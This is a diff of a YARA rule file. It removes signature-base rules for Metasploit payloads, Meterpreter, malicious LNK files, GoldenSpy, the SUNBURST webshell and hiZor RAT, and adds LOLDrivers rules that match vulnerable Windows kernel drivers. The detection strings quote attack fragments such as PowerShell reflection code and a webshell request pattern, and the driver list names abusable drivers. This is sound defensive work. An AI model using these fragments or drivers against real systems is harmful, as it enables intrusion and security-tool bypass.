+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		id = "d29981ff-6c7b-55fb-a77e-c16755e988ab"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6031-L6051"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1b00d6e5d40b1b84ca63da0e99246574cdd2a533122bc83746f06c0d66e63a6e"
+		hash = "51e91dd108d974ae809e5fc23f6fbd16e13f672f86aa594dae4a5c4bc629b0b5"
+		logic_hash = "191ef735b2fa7cf3c1e0ae1a28e7996580ed2094d214f2ce7b42d856b119eb5e"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2b02c9c10577ee0c7590d3dadc525c494122747a628a7bf714879b8e94ae5ea1"
 
 	strings:
-		$s1 = "PAYLOAD:" fullword ascii
-		$s2 = ".exehll" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310032002e00300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310030 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <50KB and all of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_11
+rule LOLDRIVERS_PUA_VULN_Driver_Multitheftauto_Mtasanandreas_9F4C : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf.hta"
-		author = "Florian Roth (Nextron Systems)"
-		id = "59b0cced-ffdc-5f2f-878c-856883ee275f"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L287-L302"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f003989a99315b42c0c73beaa2928d0187fe92a4bf329912d64fac9f8fc9358c"
-		score = 75
-		quality = 83
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d1daf7bc41580322333a893133d103f7d67f5cd8a3e0f919471061d41cf710b6"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - FairplayKD.sys"
+		author = "Florian Roth"
+		id = "a7059f0e-ae46-506f-a3c0-8ecb6911cd1d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6054-L6071"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9f4ce6ab5e8d44f355426d9a6ab79833709f39b300733b5b251a0766e895e0e5"
+		logic_hash = "b8c423a00732d4e0fb4c45c64a6794a466e604feb9d455bc110cf5169f95ab55"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = ".ExpandEnvironmentStrings(\"%PSModulePath%\") + \"..\\powershell.exe\") Then" fullword ascii
-		$s2 = "= CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
-		$s3 = "= CreateObject(\"Wscript.Shell\") " fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0075006c007400690020005400680065006600740020004100750074006f0020007000610074006300680020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0075006c007400690020005400680065006600740020004100750074006f }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]003300360037002e0033003200360039002e00360031002e00360034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003300360037002e0033003200360039002e00360031002e00360034 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00540041002000530061006e00200041006e00640072006500610073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800430029002000320030003000330020002d002000320030003100370020004d0075006c007400690020005400680065006600740020004100750074006f }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_Ref
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_2732 : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf-ref.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "517ed365-03c6-5563-984b-dae10464671a"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L304-L323"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ed6e408575b88ff67479ac1b1a2f37c5fad3ec200a446700840ad4245386bfc4"
-		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "ec2c7c9f-d4cd-5497-9de5-4948767ba125"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6074-L6093"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2732050a7d836ae0bdc5c0aea4cdf8ce205618c3e7f613b8139c176e86476d0c"
+		logic_hash = "17723afb429fe90b2e49d61676c6564ce94547b55be45ea6a66cf8d2edcdc49b"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "kernel32.dll WaitForSingleObject)," ascii
-		$s2 = "= ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')" ascii
-		$s3 = "GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object" ascii
-		$s4 = ".DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual'," ascii
-		$s5 = "= [System.Convert]::FromBase64String(" ascii
-		$s6 = "[Parameter(Position = 0, Mandatory = $True)] [Type[]]" fullword ascii
-		$s7 = "DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard," ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		5 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Metasploit_Framework_UA : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_A153 : FILE
 {
 	meta:
-		description = "Detects User Agent used in Metasploit Framework"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e5a18456-3a07-5b58-ad95-086152298a1f"
-		date = "2018-08-16"
-		modified = "2023-12-05"
-		reference = "https://github.com/rapid7/metasploit-framework/commit/12a6d67be48527f5d3987e40cac2a0cbb4ab6ce7"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L325-L339"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "986fea99735b93aed9dbf72582c009e11a1e7ba19b256902f93312474ef34b4a"
-		score = 65
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nicm.sys"
+		author = "Florian Roth"
+		id = "fde5a9a5-38d3-5ce4-b18d-11fd6a48687d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6096-L6116"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a15325e9e6b8e4192291deb56c20c558dde3f96eb682c6e90952844edb984a00"
+		hash = "e728b259113d772b4e96466ab8fe18980f37c36f187b286361c852bd88101717"
+		hash = "4c859b3d11d2ff0049b644a19f3a316a8ca1a4995aa9c39991a7bde8d4f426a4"
+		logic_hash = "6f5ca89515d8e224288c81dc941a5e4589fd111b4f2b8e519d272bf5efac76dc"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1743e1bd4176ffb62a1a0503a0d76033752f8bd34f6f09db85c2979c04bbdd29"
 
 	strings:
-		$s3 = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310034002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_HKTL_Meterpreter_Inmemory
+rule LOLDRIVERS_PUA_VULN_Driver_Ludashicom_Computerzsys_3F36 : FILE
 {
 	meta:
-		description = "Detects Meterpreter in-memory"
-		author = "netbiosX, Florian Roth"
-		id = "29c3bb7e-4da8-5924-ada7-2f28d9352009"
-		date = "2020-06-29"
-		modified = "2023-04-21"
-		reference = "https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L341-L363"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4b39dbcb276842a1306205cf2e51ce86b6d2aa21353d277df15f4ea3b3d97678"
-		score = 85
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "9b7d79c3-549b-549f-ab67-b091798154f5"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6119-L6139"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3f3684a37b2645fa6827943d9812ffc2d83e89e962935b29874bec7c3714a06f"
+		hash = "37d999df20c1a0b8ffaef9484c213a97b9987ed308b4ba07316a6013fbd31c60"
+		logic_hash = "c82730df0e7b53c67478f3fa01728841eb3794354c3233b87fe342e652fadb2e"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$sxc1 = { 6D 65 74 73 72 76 2E 64 6C 6C 00 00 52 65 66 6C
-               65 63 74 69 76 65 4C 6F 61 64 65 72 }
-		$sxs1 = "metsrv.x64.dll" ascii fullword
-		$ss1 = "WS2_32.dll" ascii fullword
-		$ss2 = "ReflectiveLoader" ascii fullword
-		$fp1 = "SentinelOne" ascii wide
-		$fp2 = "fortiESNAC" ascii wide
-		$fp3 = "PSNMVHookMS" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]006c007500640061007300680069002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031003000320030002e0031003000330030002e0031003200310037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031003000320030002e0031003000330030002e0031003200310037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003200300020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		(1 of ($sx*) or 2 of ($s*)) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_LNK_Malicious_Nov1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realixtm_Hwinfosys_Hwinfokerneldriver_7702 : FILE
 {
 	meta:
-		description = "Detects a suspicious LNK file"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1d08ac78-6ff0-5e3f-acc2-91bd63267d4c"
-		date = "2017-11-06"
-		modified = "2023-12-05"
-		reference = "https://www.virustotal.com/en/file/ee069edc46a18698fa99b6d2204895e6a516af1a306ea986a798b178f289ecd6/analysis/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_link.yar#L2-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a1aa29497a0e4741807e3d74d54be69061aed21524c5f901615bd21e2ef13c67"
-		score = 60
-		quality = 81
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HWiNFO32.SYS"
+		author = "Florian Roth"
+		id = "2388fb25-1e77-5225-864e-ef38c9b52007"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6142-L6161"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7702f240800528d8186e3e6a26e2680486fed65a6fb5a2a000ad12c1fb61a398"
+		logic_hash = "c2f1170c6fc0353b99f0c0487937d05cba9a79c3b70eafa1895999074c6c4972"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$c1 = "C:\\Windows\\System32\\cmd.exe" ascii wide
-		$s1 = "cmd.exe /" ascii wide nocase
-		$s2 = { 00 25 00 53 00 79 00 73 00 74 00 65 00 6D 00 52
-              00 6F 00 6F 00 74 00 25 00 5C 00 53 00 79 00 73
-              00 74 00 65 00 6D 00 33 00 32 00 EF 01 2F 00 43
-              00 20 00 22 00 63 00 6D 00 64 00 2E 00 65 00 78
-              00 65 }
-		$s3 = "%comspec%" ascii wide nocase fullword
-		$fp1 = "Microsoft Visual" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200450041004c0069005800280074006d0029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e003700300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00370030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290031003900390039002d00320030003100300020004d0061007200740069006e0020004d0061006c00ed006b0020002d0020005200450041004c00690058 }
 
 	condition:
-		( uint32(0)==0x0000004c and filesize <4KB and $c1 and 1 of ($s*)) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_BKA_Goldenspy_Aug20_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_EF6D : FILE
 {
 	meta:
-		description = "Detects variants of GoldenSpy Malware"
-		author = "BKA"
-		id = "4f47087e-6e68-53ff-9446-72a1751da359"
-		date = "2020-08-21"
-		modified = "2023-12-05"
-		reference = "https://www.bka.de/SharedDocs/Kurzmeldungen/DE/Warnhinweise/200821_Cyberspionage.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_goldenspy.yar#L1-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ba81a2b081842aaf06bbf623640a87946894df83fd0d7b7149c48afa8ed0a081"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		id = "28e934c7-1705-5dd7-967f-ac259af3809e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6164-L6183"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ef6d3c00f9d0aa31a218094480299ef73fc85146adf62fd0c2f4f88972c5c850"
+		logic_hash = "aff0eae9976189fe89534f7c3f1a35f093627f71d2c65aa446da85185f972bea"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$str01 = {c78510ffffff00000000 c78514ffffff0f000000 c68500ffffff00 c78528ffffff00000000 c7852cffffff0f000000 c68518ffffff00 c78540ffffff00000000 c78544ffffff0f000000 c68530ffffff00 c645fc14 80bd04feffff00}
-		$str02 = "Ryeol HTTP Client Class" ascii
-		$str03 = "----RYEOL-FB3B405B7EAE495aB0C0295C54D4E096-" ascii
-		$str04 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\fwkp.exe" ascii
-		$str05 = "svmm" ascii
-		$str06 = "PROTOCOL_" ascii
-		$str07 = "softList" ascii
-		$str08 = "excuteExe" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000380030002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000380030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100360020002d0020007700770077002e007400670073006f00660074002e00690074 }
 
 	condition:
-		uint16(0)==0x5A4D and 5 of ($str*)
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_LOG_APT_WEBSHELL_Solarwinds_SUNBURST_Report_Webshell_Dec20_2
+rule LOLDRIVERS_PUA_VULN_Driver_Microfocus_Microfocusxtier_95D5 : FILE
 {
 	meta:
-		description = "Detects webshell access mentioned in FireEye's SUNBURST report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fb86164d-13de-5357-8f52-c597b51127ff"
-		date = "2020-12-21"
-		modified = "2023-12-05"
-		reference = "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_solarwinds_susp_sunburst.yar#L21-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ec52e244a483ace0f6932b553b159b23b767c00d1f64a4711e5f359832e846f5"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		id = "394be6fa-5c49-5af2-ac20-d0da0ffe7624"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6186-L6204"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "95d50c69cdbf10c9c9d61e64fe864ac91e6f6caa637d128eb20e1d3510e776d3"
+		logic_hash = "070ce1aff2ca552a049602c694e77bd89caa4f6712d86671e21745d9d88f3bc3"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$xr1 = /logoimagehandler.ashx[^\n\s]{1,400}clazz=/ ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0058005400690065007200200043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310032002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310032 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310037002c0020004d006900630072006f00200046006f006300750073002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		$xr1
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Apt_Win32_Dll_Rat_Hizorrat : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Z_Computerzsys_Zwuqisystemdriver_61E7 : FILE
 {
 	meta:
-		description = "Detects hiZor RAT"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
 		author = "Florian Roth"
-		id = "06fd02f2-2630-5aac-8011-67d67ff42c3f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hizor_rat.yar#L1-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4e3224d34db788d2cba9da74690bf75429d6e8a516d7666d0331e465d08640cb"
-		score = 75
-		quality = 85
+		id = "c691fecf-9556-5b70-9a84-b645b053cfc0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6207-L6226"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "61e7f9a91ef25529d85b22c39e830078b96f40b94d00756595dded9d1a8f6629"
+		logic_hash = "891a11f7f82c6aaa05801bdf0fd82d9786ec1e35c6d699119a801d5cc8e1fe24"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
-		hash2 = "d9821468315ccd3b9ea03161566ef18e"
-		hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
 
 	strings:
-		$s1 = { c7 [5] 40 00 62 00 c7 [5] 77 00 64 00 c7 [5] 61 00 61 00 c7 [5] 6c 00 }
-		$s2 = { 66 [7] 0d 40 83 ?? ?? 7c ?? }
-		$s3 = { 80 [2] 2e 40 3b ?? 72 ?? }
-		$s4 = "CmdProcessExited" wide ascii
-		$s5 = "rootDir" wide ascii
-		$s6 = "DllRegisterServer" wide ascii
-		$s7 = "GetNativeSystemInfo" wide ascii
-		$s8 = "%08x%08x%08x%08x" wide ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0077007500710069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a6b665668 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031002e0039002e003400310036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031002e0039002e003400310036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0077007500710069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020007700770077002e007a0077007500710069002e0063006f006d }
 
 	condition:
